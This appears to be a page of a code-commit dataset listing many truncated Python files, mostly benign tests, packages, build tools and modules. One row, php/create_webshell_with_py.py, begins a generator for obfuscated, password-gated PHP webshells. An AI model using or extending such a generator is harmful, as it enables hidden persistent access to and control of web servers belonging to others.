185851cfb4614ebe97f38a43c5e2eb9503ce5c6c | Add tests for model render methods | masterfirefoxos/base/tests.py | masterfirefoxos/base/tests.py | from django.test import SimpleTestCase
from feincms.module.medialibrary.models import MediaFile
from . import models
class TestYouTubeParagraphEntry(SimpleTestCase):
def test_render(self):
test_data = {'title': 'Test Title', 'text': 'test text',
'youtube_id': 'test youtube id'}
... | Python | 0 | |
b476c117ccea275e415d83e51c92ee0dbab4f6f8 | add db loading script | mysql/load_entities.py | mysql/load_entities.py | """
A scrpit to load entity into Database
Author: Ming
Usage:
python load_entities.py -source source -from 2015-01-01 -to 2016-01-01 -user username -pass password
"""
import MySQLdb as mdb
from datetime import date
from datetime import datetime
from dateutil.rrule import rrule, DAILY
import sys
import json
import argp... | Python | 0 | |
a8e3570e373409cb442605218f1a6c936c518c5a | Add spotify liquid tag | liquid_tags/spotify.py | liquid_tags/spotify.py | """
Spotify Tag
---------
This implements a Liquid-style spotify tag for Pelican,
based on the jekyll / octopress youtube tag [1]_
Syntax
------
{% spotify id %}
Example
-------
{% spotify 1HNZcRFlIKwHAJD3LxvX4d %}
Output
------
<iframe src='https://embed.spotify.com/?uri=spotify:track:1HNZcRFlIKwHAJD3LxvX4d' width=... | Python | 0.000008 | |
958abe5b298f255df5e4aef94b12d647f1319650 | Create new package (#6811) | var/spack/repos/builtin/packages/py-pyani/package.py | var/spack/repos/builtin/packages/py-pyani/package.py | ##############################################################################
# Copyright (c) 2013-2017, Lawrence Livermore National Security, LLC.
# Produced at the Lawrence Livermore National Laboratory.
#
# This file is part of Spack.
# Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved.
# LLNL-CODE-64... | Python | 0 | |
04ddb34d3dd312294bdc61f694f1db862091cf57 | Create beta_move_zeroes.py | Solutions/beta_move_zeroes.py | Solutions/beta_move_zeroes.py | def move_zeroes(*args):
return sum([[x]*args.count(x) for x in range(min(args), max(args)+1) if x!=0], []) + \
[0]*args.count(0) if args else []
| Python | 0.000002 | |
c45ccd0f258fcbb152ffa9597ceb1bacd472f73b | Add test for email backend coverage | web/impact/impact/tests/test_impact_email_backend.py | web/impact/impact/tests/test_impact_email_backend.py | from mock import patch
from django.core import mail
from django.test import TestCase
from django.urls import reverse
from impact.minimal_email_handler import MinimalEmailHandler
class TestEmailBackend(TestCase):
@patch("impact.impact_email_backend.ImpactEmailBackend._add_logging_headers")
@patch("django.core... | Python | 0 | |
33aa9e79d2fe331f88574c02ad297072455be86a | add command to create scripts with the shell env | cerbero/commands/gensdkshell.py | cerbero/commands/gensdkshell.py | # cerbero - a multi-platform build system for Open Source software
# Copyright (C) 2012 Andoni Morales Alastruey <ylatuya@gmail.com>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation; eit... | Python | 0 | |
a8c3bbc363a319cd2e5748b1265b6e00563d510a | add udp.py | Foundations.of.Python.Network.Programming.369p/udp.py | Foundations.of.Python.Network.Programming.369p/udp.py | import argparse, socket
from datetime import datetime
MAX_BYTES = 65535
def server(port):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('127.0.0.1', port))
print('Listening at {}'.format(sock.getsockname()))
while True:
data, address = sock.recvfrom(MAX_BYTES)
text =... | Python | 0.000113 | |
b1c0b9afacb12e8255681db25a01b94f25fed89e | add http tps test | test/test_http.py | test/test_http.py | #!/usr/bin/env python3
""" Vpp HTTP tests """
import unittest
import os
import subprocess
import http.client
from framework import VppTestCase, VppTestRunner, Worker
from vpp_devices import VppTAPInterface
@unittest.skip("Requires root")
class TestHttpTps(VppTestCase):
""" HTTP test class """
@classmethod
... | Python | 0 | |
51b90afe8388b0425810bc1560cffe2e5a02fca8 | Add boolean matrix generator - from mocogenomics | code/generate_boolean_matrix.py | code/generate_boolean_matrix.py | import itertools
letters = ['A','R','N','D','C','E','Q','G','H','I','L','K','M','F','P','S','T','W','Y','V']
# generates a matrix from all peptides and saves to CSV
def generateBooleanMatrix(peptides):
# generate header ------
peptide_length = 9
aa_list = ['A','R','N','D','C','E','Q','G','H','I','L','K','M','F','... | Python | 0.000001 | |
05dace442d2d6123703910ea80aec6e989c65009 | create the conftest file that does all the magic | tests/conftest.py | tests/conftest.py | import os
import pytest
import imp
def pytest_addoption(parser):
default = 'scenario.py'
parser.addoption(
"--scenario",
action="store",
default=default,
help="YAML file defining scenarios to test. Currently defaults to: %s" % default
)
def load_scenario_config(filepath,... | Python | 0.000001 | |
7de5d0df0b726c629724d931766ede629a451d18 | Add logging tests. | tests/logutils.py | tests/logutils.py | """
.. moduleauthor:: Adam Gagorik <adam.gagorik@gmail.com>
"""
import unittest
import pydarkstar.logutils
pydarkstar.logutils.setDebug()
class TestLogutils(unittest.TestCase):
pass
if __name__ == '__main__':
unittest.main()
| Python | 0 | |
7a7c8c1f735982ca8403aec05861430ba70aca7f | add a test that checks _mssql whilst being run in threads | tests/threaded.py | tests/threaded.py | import _mssql
import unittest
import threading
from mssqltests import server, username, password, database
class TestingThread(threading.Thread):
def run(self):
self.running = True
mssql = _mssql.connect(server, username, password)
mssql.select_db(database)
for i in xrange(0, 100):... | Python | 0 | |
6e53000da794a0384033fa0baa09d4f930e7ffc2 | Create sequence_memory_apical_tiebreak.py | src/nupic/research/frameworks/htm/temporal_memory/sequence_memory_apical_tiebreak.py | src/nupic/research/frameworks/htm/temporal_memory/sequence_memory_apical_tiebreak.py | # ----------------------------------------------------------------------
# Numenta Platform for Intelligent Computing (NuPIC)
# Copyright (C) 2022, Numenta, Inc. Unless you have an agreement
# with Numenta, Inc., for a separate license for this software code, the
# following terms and conditions apply:
#
# This progra... | Python | 0.004173 | |
8a332dc133d27f02bac126528e576fb2b787438d | Converting the font image to a convenient format | tool/font_conv.py | tool/font_conv.py | # -*- coding: utf-8 -*-
import sys, os, argparse
import Image, struct, shutil
__version__ = "0.1.0"
def main (argv):
parser = argparse.ArgumentParser(description="Generates a bmf file from a BMFont fnt file.")
parser.add_argument("bmf_file")
parser.add_argument("fnt_file")
opts = parser.parse_args()
... | Python | 0.99999 | |
5fbcc25b46a5886307a1dba3d2771c3dd39b0570 | Format and document colorize | tools/colorize.py | tools/colorize.py | # mbed SDK
# Copyright (c) 2016 ARM Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | """
mbed SDK
Copyright (c) 2016 ARM Limited
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing... | Python | 0.000001 |
d99cba6dc55dda00c1b98d6085bffade083dab97 | create aci_firmware_group module | lib/ansible/modules/network/aci/aci_firmware_group.py | lib/ansible/modules/network/aci/aci_firmware_group.py | #!/usr/bin/python
from __future__ import absolute_import, division, print_function
__metaclass__ = type
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {
'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'
}
DOCUMEN... | Python | 0.000001 | |
ade6dec3d5b215f7153da78fc3bfdfd4303afe3f | Add parser-specific unit tests | tests/test_parser.py | tests/test_parser.py | # -*- coding: utf-8 -*-
#
# This file is part of pypuppetdbquery.
# Copyright © 2016 Chris Boot <bootc@bootc.net>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.or... | Python | 0.000001 | |
d3c6845e83514f59f421d042cab9cf8fa817e33c | Add tests for common.signal.SignalCompare | tests/test_signal.py | tests/test_signal.py | # Copyright 2015-2015 ARM Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... | Python | 0 | |
f91d32d25bc84a795d53f2f7698b77862d08f690 | Add a test_traits file | tests/test_traits.py | tests/test_traits.py | # -*- coding: utf-8 -*-
from dynmen import common
import unittest
class TestFlag(unittest.TestCase):
@classmethod
def setUpClass(cls):
class TFlag(object):
dflt_t = common.Flag('dflt_t', default=True, flag='-dt')
dflt_f = common.Flag('dflt_f', default=False, flag='-df')
... | Python | 0.000003 | |
8e7784759515a2ffa88c43b85695087fff6d9c8c | add create_webshell_with_py.py @pureqh :💯 | php/create_webshell_with_py.py | php/create_webshell_with_py.py | import random
#author: pureqh
#github: https://github.com/pureqh/webshell
#use:GET:http://url?pass=pureqh POST:zero
shell = '''<?php
class {0}{1}
public ${2} = null;
public ${3} = null;
function __construct(){1}
if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
... | Python | 0.000003 | |
34b7d99becd1664c1a5881da178fb4ae8b871bee | Add new package: mahout (#18048) | var/spack/repos/builtin/packages/mahout/package.py | var/spack/repos/builtin/packages/mahout/package.py | # Copyright 2013-2020 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class Mahout(Package):
"""The Apache Mahout project's goal is to build an environment for
qu... | Python | 0 | |
3867db9e3c2107deae0c2b3e7f8ba3461bb550b2 | Add test case to check invalid time_start (#558) | monitoring/prober/scd/test_subscription_query_time.py | monitoring/prober/scd/test_subscription_query_time.py | """Strategic conflict detection Subscription put query tests:
- query with different time formats.
"""
import datetime
from monitoring.monitorlib.infrastructure import default_scope
from monitoring.monitorlib import scd
from monitoring.monitorlib.scd import SCOPE_SC
from monitoring.prober.infrastructure import for... | Python | 0 | |
32fb5d7d98c112bf9a358339931f2708114fd56b | fix commentary of DimensionKey in questions.models in API for sphinx | msgvis/apps/questions/models.py | msgvis/apps/questions/models.py | from django.db import models
from msgvis.apps.dimensions import registry
from django.db.models import Q
class Article(models.Model):
"""
A published research article.
"""
year = models.PositiveIntegerField(null=True, default=None, blank=True)
"""The publication year for the article."""
aut... | from django.db import models
from msgvis.apps.dimensions import registry
from django.db.models import Q
class Article(models.Model):
"""
A published research article.
"""
year = models.PositiveIntegerField(null=True, default=None, blank=True)
"""The publication year for the article."""
aut... | Python | 0 |
ce3a61f640d37bfdb10a0862f9478153436de327 | add script to generate a manifest file and upload dcc archives to GCS | data_upload/main/ISBCGCCreateSnapshotArchive.py | data_upload/main/ISBCGCCreateSnapshotArchive.py | '''
Created on Jun 29, 2016
Copyright 2016, Institute for Systems Biology.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by... | Python | 0 | |
280201158448f4505ab691aa43e8ba259df7ef02 | add model, loss, evaluation | mnist.py | mnist.py | """Builds the MNIST network.
Built to duplicate Hinton 2012 and Srivastava 2014 method of dropout feed forward
network with max norm regularisaton. A few learnings:
* dropout not applied to softmax layer (input and hidden layers only )
* max norm not applied to softmax layer - though it could be applied at a dif... | Python | 0 | |
f1b8216408f26094a70789297198d2a63b0db0dd | Add pframe test. | tests/pframe_test.py | tests/pframe_test.py | """Tests for scripts/pframe.py."""
import re
import unittest
from test_utils import import_utils
import_utils.prepare_lldb_import_or_exit()
import lldb
import_utils.prepare_for_scripts_imports()
from scripts import pframe
class PFrameTest(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(PFrameT... | Python | 0 | |
9524f44838df21f386b56d047e4a45e2aba9ad4e | Create Valid_Palindrome.py | Array/Valid_Palindrome.py | Array/Valid_Palindrome.py | Given a string, determine if it is a palindrome, considering only alphanumeric characters and ignoring cases.
For example,
"A man, a plan, a canal: Panama" is a palindrome.
"race a car" is not a palindrome.
Note:
Have you consider that the string might be empty? This is a good question to ask during an interview.
Fo... | Python | 0.000001 | |
d266fca86c0ccb3d7908ad575914835479b41d86 | Add DKL regression unit test | test/examples/test_kissgp_dkl_regression.py | test/examples/test_kissgp_dkl_regression.py | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from math import exp, pi
import os
import random
import torch
import unittest
import gpytorch
from torch import optim, nn
from torch.autograd import Variable
from gpytor... | Python | 0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.